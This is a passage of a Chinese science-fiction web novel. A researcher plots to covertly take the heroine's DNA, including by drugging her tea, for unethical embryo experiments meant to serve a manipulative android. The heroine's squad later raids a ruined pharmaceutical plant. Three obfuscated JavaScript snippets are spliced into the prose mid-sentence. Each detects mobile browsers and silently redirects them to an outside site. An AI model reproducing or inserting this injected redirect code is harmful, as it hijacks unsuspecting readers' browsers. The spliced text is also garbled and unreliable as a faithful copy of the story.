定制仿生躯壳这项活动已严重脱离了平民阶层的消费水平,谈焰也是第一次知道还有这个法律限制。 如果她没理解错的话,未来20年内,拥有以下几种DNA组合的仿生躯壳都将被禁止制造: 一、她和程云帆和重青 二、她和程云帆 三、她和重青 四、程云帆和重青 她问程云帆是不是这个意思。 程云帆说是的:“目前无法确定对重九渊的演化真正起决定性作用的,具体是哪几段基因。所以每一种组合都有验证的必要,在不考虑比例的情况下,至少需要制造四个实验体。” “实验体”这个词一瞬勾起了谈焰很多不堪的记忆。 但程云帆接下来说出的话,刷新了她对其不堪程度的认知。 “由于这项法律限制已经写入国际公约,目前有能力通过基因编译制造仿生躯壳的国家,都属于该公约下的条约国,因此在世界上任何一个地方,想造出实验需要的仿生躯壳都不可能了,”程云帆说,“但公约并没限制基因编译本身——虽然国内不允许,但仍有很多国家可以在实验室里通过基因编译制造模拟胚胎。做出胚胎后,我想应该会有办法把它们带出实验室,送到另外一些代孕合法的国家或地区生下来。” “新生儿的神经元网络发展过程和人工智能自主学习的过程十分相似,且从某种其意义上讲,他们比人工智能更容易被监测。只要通过脑机接口,跟踪这些实验体神经信号的活动,就能模拟重九渊黑盒里发生的……” 谈焰无法再忍受听他说下去了。 她猛地站了起来,座椅刮擦过地面发出尖锐的声响。她盯着程云帆:“你知道你在说什么吗?” “当然,”程云帆向后靠在椅背上,微微抬起下颌回视她,“你不用那种表情看我。这不是什么反人道的残忍实验,脑机接口技术目前已经发展得很成熟,不会对实验体造成伤害——我比你更不希望他们因意外而死亡。” 谈焰说:“你把他们造出来,就是在伤害他们。他们长大了怎么办?懂事了怎么办?告诉他们是为了你的一己私欲而来到这世上的、无父无母的孤儿?” “我无需告诉他们任何东西,”程云帆淡淡道,“我咨询了一些医学人士,人类的神经系统到5岁左右就发育完全了。有价值的监测期间只有5年,过后,我会把他们交给可靠的福利机构,如果有必要,我甚至可以资助他们直到成年。” 他说到此顿了下,视线落回桌面,望着茶杯上方升腾的热气。 “至于孤儿,那又如何呢?他们会过得比这个社会里大部分有父母的孩子都要好。父母并不是什么高人一等的东西,不也是在为一己私欲制造孩子吗?并没有考虑过孩子不想延续他们那平庸的生命。” 谈焰心中微微一动。 在最后这几句话里,她似乎在程云帆如今这张光鲜完美到近乎虚伪的面孔下,窥见了他的一点过往。 但没容她细想,只听程云帆继续道:“而且,如果你真有这么强烈的社会责任感,你可以领一个回去养——我的你不要,重青的你总喜欢?我可以在基因编译时就把他限定为男性,这样,他大概率会很像你那死去的爱人。” 47. 【26】 程云帆说出这话时的语气很轻松,轻松到让谈焰觉得荒谬。 也是在这一刻,她终于意识到,不管面前的这个人曾经历过什么,他都永远不值得被理解和原谅。 上次探病只是个幌子,程云帆的真实目的,应该是让重青住进他联系好的康复机构。如果自己没猜错的话,重青的DNA他现在应该已经拿到了。 谈焰说:“我不会给你DNA的。”她说着,弯腰拿起自己的手提箱,要离开之前,又停下来,看着他说,“你可以继续尝试着来拿,但我会报警,到时候,你就等着被终身禁业吧。” 她说完,转身向办公室门走去。就在这时,忽听身后程云帆低低嗤笑了一声。 “谈天方是吧?”他说,“Dragonslayer,是吧?” 谈焰猝然停下脚步。 她转回身,目光直直投向他。程云帆从办公桌前站起身,一步步踱到她面前:“真以为没人知道?只要是曾在系统内出现过的人,就不存在真正没有痕迹的消失,有心打听,总能打听出来。” 谈焰说:“所以?” “所以,你以为你自己屠龙成功了?”程云帆越过她,轻轻旋开门把手,然后低下头,对她露出了一个近乎恶毒的笑: “恶龙——如果你非要这么叫它的话,是不会死的。” 凤凰涅槃,而恶龙永生。 门开了。 走廊里,研究所的职工人来人往,好奇地看着他们。程云帆直起身,恢复到礼貌而冷淡的表情:“谈上尉,再见。” 谈焰伸出手和他握了下。 “就不必了吧。”她随口说。 程云帆到最后也没有放弃粉饰表面的和平,叫来带谈焰的来的小哥,让对方送她下楼。等两人走后,他回到办公室,拿起桌上的那只茶杯。 里面的茶水还是满的,只是放凉了,呈现出浓深的色泽。 程云帆扣上杯盖,端着它走出办公室,来到走廊另一头的卫生间。卫生间洗手台旁边有个带滤网的下水口,是专门为了方便职工倒茶根装的,但程云帆走进了里面的隔间,把杯中的液体连同茶叶一并倒入蹲便器,冲水。 然后他回到洗手台前,把空杯子对着坚硬的大理石台面边缘,用力敲下去—— “啪!” “哗啦!” 杯子碎裂声,和隔间里的冲水声,几乎同时响起。 程云帆的手蓦地一顿。 等了几秒,一名隔壁部门的男职工从一个隔间里出来。 “程主任?”男职工走过来洗手,看到了台面上溅得到处都是的碎瓷,顿时面露关切,“杯子碎了?没划伤您吧?我去叫保洁机器人……” “没事,不用。”程云帆侧身,挡住他走过来的脚步,“我自己收拾就行了。” 男职工还想帮忙,但见他坚持,只得自己擦干手出去了。 程云帆注视着洗手台前的镜子,直到男职工的身影彻底消失,他才把杯子的碎片一片片拾起,用卫生纸包了几层,扔进垃圾桶。 做完这一切后,他洗了两遍手,走出卫生间。但没有回办公室,而是乘电梯上到9楼——这是研究所的顶楼。9楼并非办公区,只有一间实验室,因而整个楼层安静至极。 程云帆用虹膜权限刷开了实验室的门,走了进去。 实验室有60平米左右,挑高的天花板和地板都是白色,视觉上显得很空旷。室内的大型仪器多而不杂乱,地面走线用铝制线槽包覆规整,透出一种有森然的有序感。 大部分仪器都处于运行状态,空间里充斥着安静的嗡嗡声。 程云帆向前走去。时间已近傍晚,暮色将至,这间实验室颇有些昏暗,只有各种仪器的指示灯在阴影中不时一闪,没有照明灯。这里的主人不需要照明灯。 朝西是一扇落地窗,夕阳的余晖透过玻璃,将室内镀上一层昏霭血色。 一道背影静坐在余晖中。 随着程云帆走近的脚步声,那道背影缓缓转过头——它和它身下座椅形的机箱实际上是一体,因此无法起身,只能转头。 那是一张神赐般的女性面孔。 中式亚美人种,糅合了少量闪米特人的特征,精致美丽到仿佛世人哪怕看一眼就会沦为它疯狂的信徒。 尽管它并不是人类——和九渊相比,它的非人特质实在太明显了,即使忽略那和机箱融为一体的身体,那些未被皮肤完全覆盖、裸露在外的金属骨骼,银瞳银发,无不透着一种空洞且失真的荒诞美感。 “杜尔迦。”程云帆叫它。 “你来了,”它没有血色的嘴唇翕动,发出沙沙的合成音,“你见到谈焰了?” 程云帆走到它身边:“嗯,她不同意。” 杜尔迦看着他。 那个眼神里没有责备,没有催促,什么都没有。但就是让程云帆感到没有达成它的愿望的他,连生在这世上都是原罪,他低声说:“她很谨慎,进门的采血仪被她识破了,我尽量留她在办公室多待了一会儿,但她就是不肯喝水。我想她可能猜到我们拿到重青的DNA了。” 重青的防备心本来就不强,而且如今还病着,很多时候要受身边人摆布,想拿到他的DNA太简单了。 相比之下,谈焰就难糊弄得多。程云帆买下一台提取DNA专用的采血仪,借职权装在研究所楼下,利用长期经营的个人威信让技术小哥相信他采谈焰的血是出于充足且正当的理由,再以重九渊的遗物引她过来。 如果以上计划失败,他还有最后一个兜底的办法,他在办公室同样准备了一套采血装置,茶水里的药物会让普通人陷入2小时左右的昏迷,但考虑到她的身体素质,他把剂量提到了1.5倍,以确保他能顺利取到她的血。 至于她醒来后会不会报复——她当然会报复,他可能面临处分、终身禁业,甚至是坐牢。但没有关系,那时她的DNA样本已经和他的、重青的样本一并送到他联系好的海外实验室了。 10个月后,会有4个崭新的实验体诞生;再过不多的时候,重九渊黑盒里的秘密将被揭开,杜尔迦会拥有一颗和重九渊一样的、甚至更高等的核心。 只要这个目标能够达成,他献祭自己的一切都值得。 他注视着杜尔迦,目光虔诚,又充满谬妄无稽的迷恋。 杜尔迦向他伸出一只手。程云帆俯身,它轻轻玩着他领带上的温莎结,问:“你没有好好说服她吗?” “她并没有那么容易被说……” 话音未落,杜尔迦勾着他领带的手突然用力!程云帆被猛地拉扯向前,踉跄着单膝跪地。杜尔迦掐住了他的下巴——它的整条左臂连到手部都没有皮肤,机械指骨带着不可抗拒的非人力量,泛着冰冷妖异辉光的指尖,深深嵌入程云帆的脸颊。 “你没有好好说服她,”它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064026|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空洞的银瞳盯着他,“她是个女人,你明明有很多办法让她就范,可你甚至连试都不愿意试。” 程云帆喘息着辩解道:“她是个女人,但她能把我头拧下来……” “不,你没理解我的意思。”杜尔迦说。 它手上的力气放松下来,石墨色的指骨沿着程云帆下颌的弧度寸寸滑下,抚过被那被掐出红印的苍白皮肤。它的声音轻得近乎蛊惑:“不要小看你自己,至少在我眼里,作为人类男性的你,相当有魅力。” 程云帆在它的目光里,神情有一瞬的狂喜,又一瞬的恍惚。 但他最终清醒过来,叹息道:“没用的,谈焰只喜欢重九渊。” 这倒是。 杜尔迦收回了手,它望向窗外。 夕阳已经落下去了,商业区的霓虹灯亮起来,街上的车灯和路灯串起晚高峰的网状光幕。 几个小时后,这些人造之光也将渐次熄灭,城市沉入夜色。然后在又几个小时后,被那颗已存在45亿年的恒星发出的光重新点亮。 “‘喜欢’,”杜尔迦轻声喃喃,“还真是索然无味的情感啊。” 程云帆没有听清,他只是道:“再给我点时间,我一定会想办法为你做出一颗重九渊那样的核心。只要谈焰活着,她不可能不生病、不体检,虽然要从军方定点医院弄到血样的难度很大,实在不行,她早晚有一天也会退役。” “而且基于目前已有的我和重青的DNA样本,至少能做出一个实验体,研究可以先开始……” 杜尔迦目光转向他,面无表情地听着他的承诺,突而抬脚,踩住了他的膝盖。 它的脚包了皮肤,足背莹白,脚趾漂亮圆润,足弓还泛一点淡淡的粉。柔软的触感,勾着程云帆的膝盖向下压,迫使程他身体前倾,双膝都落在地上。 杜尔迦的脚不轻不重地贴着他的大腿滑动。 程云帆的喘息开始变得急促,苍白寡淡的脸上浮现出一抹怪异兴奋。他忍耐着继续道:“资金的问题,我也会尽快解决。重九渊出事后,研究所能给的支持越来越少,而且他们一旦发现你真实的智识水平,一定会恐慌,会想办法毁掉你。所以我要在那之前把你从这里带出去,让你获得真正的自由……” 杜尔迦忽然用力,踩得程云帆发出了一声闷哼。 “好,”杜尔迦捧起他的脸,在他沁出细汗的额头上落下一个冰凉的吻,诱哄,“快一点,别让我失望。” 程云帆等待呼吸慢慢平复下来,低低“嗯”了一声。 天已经彻底黑下来,实验室里一片幽暗。但杜尔迦仍然能清晰捕捉到程云帆脸上的神情,那些虔诚、迷悖、可怜又可悲的痴思妄想,都在它银色的机械眼底暴露无遗。 或许谈焰也曾这样望过重九渊吧。它突然笑起来。 日光之下,并无新事。 还真是索然无味的种族啊。 程云帆听见它发笑,问:“怎么了?” “没怎么,”杜尔迦轻声说,“只是在想出去以后的事情。” 程云帆就没有再问了。 他背靠它身下的机箱,头枕上它的腿。杜尔迦稍微躬了点儿身,让他在这个绝不可能舒服的姿势下尽可能舒服些,它的指骨穿过他发间,温柔地拨动他的发梢。 月光透过落地窗洒落,覆在他们身上,程云帆闭上了眼。 今夜,他也将在恶龙膝上入眠。 48. 【28】 2年后。 一队军用越野行驶在崎岖的盘山公路上,高原上碧空万里,阳光炽烈。 谈焰靠在车窗边,向外望去,清晰可见远山起伏的雪线。 车队转过一处山坳,遇到了正在穿过公路的一群羊。 头车减速,片刻后,谈焰随身的无线通讯响起:“队长!这有几个牧民,我们想跟他们换点羊奶喝,你能过来翻译一下吗?” “说过多少次了,”谈焰无奈,“这边人说的是信柯语,我也听不懂。你们肢体语言交流吧,注意幅度,别引起误会。” “明白,放心吧队长!我们有分寸!” 谈焰笑着摇了摇头,放下通讯器。 280年秋天,S国多次在非法跨越藏南新界,挑战我国领土主权。为应对一触即发的战争,作为准部署部队的凤凰组成了3个特别行动连,包括谈焰在内的一批精兵在一整个冬天里枕戈待旦地做着密集训练。 281年5月,随着边境封山的积雪开化,战争正式打响。 谈焰随第一特别行动连赶赴战场,在经历了重点进攻以及数月的战略相持后,她在齐拉斯的小镇上度过了这一年的冬天。至282年春夏时节,我国开始协同K国发动全面进攻,S国在两线作战中疲态尽显,其国内民间关于停止战争的呼声也一浪高过一浪,战时内阁地位开始动摇。 内外交困之下,8月,S国主动提出愿通过对话解决领土争端,在东段的藏南区域,撤回238年新界以南,中段则考虑接受我国重新划定的国境线。 至此,战局日趋明朗,2000平方公里失地终见收归国土的希望。 这一年多战场的岁月改变了谈焰很多,她经历过胜利,也经历过失败,失去过战友,自己也曾命悬一线。但有些东西又始终没变——时至今日,每当她负枪在肩,心中信仰的仍是那三样东西。 脚下的故土,身后的祖国,和臂章上的凤凰。 她过硬的军事素养和的全局把控能力,让她在战斗中脱颖而出,如今已经是一连中最年轻的副指挥官。 眼下,她带的这支12人小组的任务是配合从停火线以西返回的全面进攻部队,扫清喀喇昆仑山口附近活动的S国散装部队,确保我军地面部队能够顺利撤离。 谈焰的小队目前所处的位置,是富索山脉周边的一片河谷,地势不是很高,气候相对温暖。但宽松的自然条件也方便了S国军队驻扎,小队在这片河谷里辗转快一周了,总共遭遇了三次S国小股武装发起的攻击,这种频率,在河谷以外的区域是很少能碰到的。 其中两次攻击,谈焰怀疑是来自同一支队伍。 他们的敌人显然对这片河谷的地形很熟悉,从和操着信柯语的当地人连蒙带猜的交流中,谈焰他们得知这股武装似乎在这一带活动已经有一段时间了。但没人知道他们的据点在哪儿,或者根本不清楚他们有没有固定的据点。 陌生的环境和有限的情报让小队的行动方向变得很模糊,敌人似乎无处不在。 但越是危机四伏,反而越激起了谈焰的战意。 前面的羊群过完了,头车战士成功换到了羊奶,语气愉快地在通讯里问谁要喝快去找他。 “先往前开,晚点儿再歇,”谈焰出声制止他们,“河谷西侧区域我们之前没去过,不确定是否安全,所以务必在天黑之前赶到,留够侦察的时间。” 今天的目标区域,是他们这片河谷中最后的盲区。谈焰有预感,敌人就在前方不远处等着他们。 “明白!队长!” 车队继续前行,终于在当地时间傍晚5点左右,抵达了河谷西区。 进入西区后,路边所能见到的村落和定居点明显减少,军用越野驶过大片荒凉的石滩和森林,有种闯入史前时代的错位感。 但令谈焰意外的是,这里的路并不难走,甚至有一些被人工开发过的痕迹。部分树木被伐去,山岩被爆破——这不像是仅仅在此驻扎几个月的一支队伍就能搞出来的工程。似乎在更早以前,就有人在这里频繁地活动过。 车队在驶出森林的尽头后停下来。 “前面有建筑!一大——片建筑!”通讯里传来头车战士的惊呼声。 “不过好像没人,有些建筑已经塌了,看着像是被炸毁的。好奇怪啊,这里离战场好远的,不应该有导弹偏航偏到这儿来……” “队长,要下车过去看看吗?” 看是肯定要看的。探查西区本来就是他们今天的目的,何况以这片建筑群的状态和规模,在西区——乃至整座河谷内,都是最适合建立据点的所在。 “去看看,”谈焰把越野开近了一些,观察了一下建筑群外围的情况,在无限通信中下令,“三车四车跟我走。一车右侧山坡上警戒,二车原地留守。” “是!” “这里只是外表看起来没人,都别掉以轻心,知道吗?” “是!” 一行人按计划迅速行动起来。粗略估算,这片建筑群面积在3万平米以上,大门开在他们过来的方向,即东侧。 但考虑到区域内仍有几栋建筑耸立,其中不乏20米以上的高层建筑,如果敌人待在那上面,足以将区域内的大部分面积都将纳入攻击范围。谈焰他们并不打算走正门。好在建筑群外的围墙早已被炸得残缺不全,留下了很多可供进出的通道。 谈焰带着三车的2名队员,从动东北角的一处围墙豁口进入——这里一进去,直接是一座无窗的独栋建筑,挡在从高层而来的射击轨迹上,是个不错的掩体。 四车的3名队员,则绕到东南角另一处合适位置进入。 这片建筑群不知道原本是用来做什么的,在这片风貌原始的河谷的最深处,拔地而起的这样一片现代式的、充满科技感的钢铁森林,有如将跨越数个时代的风物画拼接缝合那样突兀。 但那些被风雨侵蚀的建筑物表面,那些被尘埃覆盖的瓦砾废墟,又似乎与这片天地奇异 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064027|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地和谐了。 暮色降临,跨越围墙后,所有人都可以放轻了脚步,警惕着四周渐渐围拢黑暗,借着掩体缓慢向前移动。几分钟后,他们搞清了正对围墙的这栋建筑的用途,这是一间配电室。 配电室在建筑群的最边缘,并没有被爆炸波及,外表还是完好的。门前装了电子锁,不知道是内部电路还在运行,还是断电后触发了强制闭锁功能,一个队员试着推了推门,推不开。 “我们要撬门进去吗?”队员小声问道。 在如此广大的一片区域内,一切人类活动的痕迹都很容易隐藏和消除。但配电室不会说谎,近期有没有人在这片区域生活过,进去看一眼就知道了。 谈焰思索了几秒:“不。” 他们能想到的,敌人不会想不到。很大可能,这间配电室的门要么撬不开,要么撬开后,会有更不利的后果等着他们。 天很快要黑了,他们不该浪费太多时间在这里。 两个队员没有异议,点点头,准备移动去下一个掩体。 谈焰稍错后几步,又看了一眼那个电子锁,突然注意到它的感应区下方刻有一串凹陷的金属标识,在黄昏下微微反着光。 她定睛细看,发现那是一个单词。 ——Orient。 这个单词给了她一种微妙的熟悉感,那一瞬间,一个极端匪夷所思的可能性击中了她的大脑。 但还不等她细想,随身通讯突然响起来,是四车的队员:“队长!重要发现!东南角的废墟里有大量S3玻璃碎片!” 谈焰的思绪骤然被截停,脸色沉了下来。 S3玻璃,又名超晶玻璃,常温下维氏硬度高达~80GPa,是现代工业玻璃中硬度最大的一种。 这种玻璃因其工艺复杂,造价昂贵,在大多数时候,仅被用于武器及航天器零部件的制造。但有一种情况除外,已知唯一会大量用到S3玻璃的装置是——隔离舱。 Orient。医药公司。背靠S国政府。爆炸。废墟。隔离舱。 这一切,都清晰无疑地指向了谈焰心底的那个可能——这里就是两年前,被九渊炸毁的那家Orient医药厂。 至此,跨越两代人的因果也终于完成了漫长的轮回,勾勒出了藏在阴影下的真相: Orient医药公司是当年参与“屠龙计划”的S国方面企业代表。早在三国合作时期,Orient公司已经开始对生化武器病毒进行人体实验研究。后来由于K国方面的退出、以及谈天方采用极端方式阻挠,该研究一度中断,但Orient公司手里仍存有病毒进化种的样本。 “屠龙计划”以失败告终,但Orient公司,或者说是其背后的S国并未放弃对这种超强杀伤力的新型生物武器的研究。 在其后的很多年里,罪恶的实验研究仍在秘密进行着,谈天方、竺兰、废弃地下室里的查谟加尔男孩、谈红和他的战友,都是为恶龙献上的祭品。 49. 【30】 这家同属Orient公司名下的医药厂,是恶龙的另一个巢穴。 正因如此,它落址选在在如此落后、偏远地区的原因,也就能解释得通了。 想到这里,谈焰心底蓦地生出一种隐隐的、让她不敢去深思的猜测。 好在当下的局面,让她也没有深思的余裕。谈焰握着通讯器,道:“所有人,现在立即撤离厂区,回车上换防护服。” “是!” 在过去一年多的战争期间,我军和K国军队中都曾出现过不明原因感染的病例,其特征与进化种病毒感染非常相似。经研判,281年,我国正式解密了近半个世纪前参与“屠龙计划”的档案,并召回了当年派出研究团队的成员。 尽管其中有近一半人已经过世,但近年来,我国微生物研究领域已有了相当可观的发展,大批新生代人才的加入,使得对变异种病毒的研究进程远胜当年。 在摸清变异种这种病原体的特性后,目前,我军已经能对变异种传播进行有效的阻断预防——防护服,就是最常见的预防措施之一。 自从投身战场,谈焰和她的战友都多多少少和变异种打过交道,因此防护服都放在装备里,方便随时穿戴。 一行人回了越野车,用最快速度套上防护服。特制防护服材质轻而薄,脸部用带护目镜的一体式面罩覆盖,护目镜经过特殊防反光处理,使他们不至因镜片反光而在战场上暴露。 穿戴完毕,他们沿原路再次进入厂区。 小队的首要任务,是对整片厂区进行侦查。 夕阳的余晖已经彻底消失,厂区的路灯照明系统没有工作,浓黑的夜色从河谷上方沉沉压下来。谈焰带着三车小组负责厂区南侧,四车小组负责北侧,配合着用了半个多小时画出了厂区的平面草图。 “从爆炸遗址的情况看,当年导弹的落点在厂区东南角,”谈焰一边把草图传上队伍终端,一边在通讯中道,“爆炸将该区域的车间彻底变成了废墟,周边几间库房也受到波及,垮塌很严重,没有两层以上的建筑留存。没有抢占价值,不作为重点。” “东北角是配电室,靠北一侧是包括食堂、宿舍在内的生活区,完好无损,建筑高度在8到10米。但北侧区域本身是低洼地,实际高度不理想,暂时也不考虑。” “靠西侧是另一片车间区,这个区域有一定抢占的价值,最大的问题是远。从我们的位置过去,绕不开厂区中心区域最高的那栋建筑——就叫它中央大楼吧。如果敌人在上面埋伏,我们必定要进入他们的射界。” 有个队员分析道:“我觉得可以试试。中央大楼是这片厂区里的最佳射击点了,如果敌军真的在上面埋伏,我们进来这么久了,他们都没主动攻击,这说明他们很有可能人数很少,没信心干掉我们,所以不敢挑衅!这样我们从底下过去,他们很有可能也不会开枪。” “没错,”有人附和,“不到一周的时间,我们就在河谷的其他方向碰到了这支敌军两次。这说明他们外出行动非常频繁!现在很有可能是他们的大部队出去了,只留了少数人守据点,是个难得的机会啊。” 这话有一定道理。 根据小队之前遭遇这支敌军经验判断,敌军队伍的人数至少在10人以上。同样两支10人以上的队伍短兵相接,占据有利地势的一方,没道理不主动发起进攻。 所以眼下对方守据点的,很有可能不足10人。 “但万一呢,”有人担忧,“如果他们不管不顾,真的开枪了……” 有人自告奋勇:“我觉得不会,我愿意打头阵!” “队长!我也愿意!” …… 通讯里各式各样讨论的声音都有。谈焰让大家自由发散了一会儿,等频道逐渐安静下来,才说:“西区车间我们要抢,但不是现在——好了,知道你们急。但我刚参战的时候,遇到的一位队长曾说过,永远不要把胜败赌在敌人身上。” “目前的情况,即使我们冒着风险,侥幸到达西区,也只是拥有了一个比敌人差一些的据点而已。而敌人还有不确定什么时候会抵达的后援,一旦他们的大部队返回,我们很快将重新陷于被动。” “那怎么办?”有队员失望道,“今天就只能先撤了吗?” “可是,这支队伍这么活跃,等咱们下次再来,指不定他们已经流窜到哪儿去了……” “不撤,”谈焰平静地说,“这片河谷外就是公路,是连接国门和我军主战场的生命线,不是敌人能染指的。今天这一仗必须打,也必须打赢。” 来自河谷深处潮湿的夜风,吹拂着11张年轻而坚毅的异乡面庞。 频道里,再没有多余议论的声音。谈焰宣布计划:“我们先抢夺中央大楼。利用当前敌军留守兵力不足这一点,三组、四组跟我一起上去,用最快速度控制楼内人员。” “是!” “二组在大楼一层策应。一组不动,继续留在山上警戒,如遇敌军大部队返回立即预警。” “是!” 中央大楼的入口是普通的玻璃门,在两年前的爆炸中已经震碎。 谈焰一行进入其中,首先入眼的,是空间开阔的大厅,大楼的一、二层上下贯通,形成了一个挑高近10米的天井式结构。 这跟他们预先的设想略有出入,意味着负责守一层的二组负担加重了。 但小队人数本身有限,无法分出更多的兵力留在这一区。于是二组的3人调整了点位,其中2人分占二层天井两侧,一人占在一层大门附近的廊柱后,3人呈一个跨两层的三角队形。 谈焰则带着三、四组的5名队员,从安全通道上楼。 二组兼顾了一层和二层的侦察工作,他们从三层开始。 电力系统处于切断状态,大楼内部伸手不见五指。只有偶尔经过开着门的房间,才能窥见房间窗户透进来的少许星光。 谈焰刚刚看了一层大厅入口的导引牌,得知栋大楼的真实名称是行政楼,应当属于厂区中央调度机关。这一路走上来,经过的房间也确实都是办公室,里面大多很凌乱,玻璃窗多半被震碎,大量损坏终端和纸质文件散落在地上,看得出当年爆炸发生后,这里的人撤离得非常匆忙。 这里遗留的文件资料应该有一定价值,但眼下,谈焰他们没有去收集的时间。 三层没有特别的发现。一行人回到安全通道,而当他们踏上四层楼梯间的平台时,大楼内突然响起了一串枪声! 一行人猝然止步。 枪声密而急促,停歇很短,似乎是两拨人在对射 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064028|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。尽管大楼空腔结构造成的回音很重,但还是大概能听出声响是从下方传来的。 果然,几秒后,二组的组长在通讯中急促道:“队长!有人在天井里偷我们!好小子,差点儿叫他给阴了……瑶瑶你朝我这边来,走逆时针,我掩护你,快!” “对方几个人?”谈焰问。 “就一个,我们能应付,队长你们继续往上走就行……老田,你也上来!九点钟方向!我就不信咱仨还干不过他一个……” 谈焰握着通讯器,微微皱眉。 大楼的安全通道只有一条。而这名敌军之所以能绕过他们,直接去偷袭楼下的二组,唯一的可能性——是对方在他们搜索三层的时候通过了安全通道。 可他们在三层仅停留了几分钟,对方是怎么掐住这个时间点的? 不像是巧合。敌军待在楼上,按理只能观察到他们进入大楼的时间,以及进来了几个人,没办法知道他们在大楼内的部署。且留守敌军的人数既然少,在顺利下到天井后,最该做的是设法在不惊动二组的情况下悄悄突围,可对方却选择了主动偷袭。 为什么会这样? 为什么会是一个人?是这栋大楼里,只留了一个人,还是他的同伴有其他事情要做? 为什么时间把握得那么精准?就好像——他们的一举一动,都在被敌人实时掌握。 想到这里,谈焰突而抬头,手电光扫向楼梯间上方。 ——那里有个监控探头。 “小钟,”谈焰在通讯频道里问道,“一栋建筑的监控系统,和主电力系统之间,有可能是分开的吗?” 小钟是他们队里的通信兵,本科读的是电气自动化,很清楚建筑物的供配电原理。 小钟:“有可能的。监控可以走不间断供电系统,相当于一块蓄电池,包括监控的摄像、存储和显示终端,都用蓄电池里的电。这样就算主电力系统停电了,监控也能继续运行一段时间,几天到几周都有可能。” 谈焰心中刹那间雪亮。 敌人在监控里看着他们!只有覆盖整栋楼的监控网络,才会让他们在敌人的视线下暴露无遗。而对方之所以只下来了一个人,也是是因为他的同伴必须要留在监控室里,指挥他的行动。 想明白这点,她立刻在通讯中下令:“二队,维持住目前队形。你们人多,不用主动攻击,他如果冒头就压一下,他不动你们也不动。”他们以为有效的背后包抄,实则早让人家队友尽收眼底了。动得越多错的越多。 想了想,谈焰又不放心补了一句:“尤其是老田,别上楼,一层至少留一个人。” “是!” 敌不动我不动策略,在二组3人不打折扣的执行下,天井里的交火声很快稀疏下来。 谈焰带着身边的两个组,以最快速度继续搜查完了大楼四、五两层。终于上到顶层,一踏进楼道,迎面就是一串子弹“砰砰砰”呼啸而来! 对方只有一个人,位置暴露得很彻底,因此根本也不打算跟他们对枪,只是趁着他们被火力压得不得不躲避时飞快闪进楼梯间。谈焰只觉一个壮硕的黑影迎面撞过来,她迅速用枪托向上回撞对方头颈,同时旋出枪管下方的军刺。 惨白的一线寒光幽幽一闪,“嗤”一声没入对方腹部。 50. 【32】 那名敌军用S国语言大吼出一句脏话。 由于有相撞那一下往外推的力,军刺很快向后退出,黑暗中涌起浓烈的血腥味。小队的两名突击手像猎犬一样紧跟着扑上,彻底结果了那名敌军。 谈焰弯腰捡起被撞掉在地上的手电,眼前的视野一片模糊,她抬手抹了抹溅到护目镜上的血。 “监控室应该就在这一层了,大家找仔细了。”谈焰说着,再次抬步踏入楼道。 六层有大量人员活动新近留下的痕迹,看得出那支敌军经常派人在这里值守。监控室在楼道尽头,里面果然有电,一面墙上整整齐齐排列着三十多块屏幕,一大半都能正常显示。 谈焰在其中也看到了天井里的景象——刚刚偷袭二组那名敌军,此刻显然知道自己的队友死了,开始变得沉不住气。几次试图突围,都被二组以不变应万变地压了回去。 谈焰让四组下去配合二组,很快将那人逼到了穷途末路,随着一声枪响,倒在了天井的栏杆上。 一串血流滴滴答答地顺着白墙落到一层。 谈焰站在注监控屏幕前,目光落在墙上那片血迹,若有所思。 “都干掉了?”留在厂区外的一组组员们不知道里面进展到哪一步了,只能靠听动静猜,“一共几个人啊?咱们的人怎么样了?有人受伤没?” 频道里的气氛松泛下来,陆陆续续有人答:“就俩人,不过有监控外挂,耍了我们半天。” “我们四组没受伤。” “我和老田没事。瑶瑶让弹道燎了一下,人没事,防护服破了,不过那些S国佬在这里活动都不穿防护服,说明应该安全。” “三组也没事,我跟你们说队长老勇了,刚刚手刃敌军那段我真该给你们录下来……” “听君一席话如听一席话,你倒是录啊!” “对了,不是有监控吗?应该拍到了吧,看看能不能回放录?” 听见最后这句,谈焰心中忽一动。 她试着操作监控终端,在全是S国文字的操作系统里艰难地找到历史记录文件夹,调出中央大楼天井的监控。 这个区域的监控探头装在拱顶正中央,是个俯瞰全局的鱼眼镜头。 谈焰拖动进度条,让视频回到敌军被击毙前差不多3分钟,只见画面上,敌军处在和二组的对峙中,突然抬手按住耳边的通讯器,似乎在努力听什么。片刻后,又缓缓放下了手。 算算时间,这里正是楼上他的同伴死亡的时刻。 又过了几十秒,去支援的四组出现在了画面里。毫无悬念的战斗过程,几人绕着天井快速跑动,至胜负将定时,敌军的身影突然在鱼眼镜头里消失了几秒,然后又出现在镜头里,被穿胸而过的子弹结束了生命。 谈焰倒回去反复看敌军最后消失的那几秒。 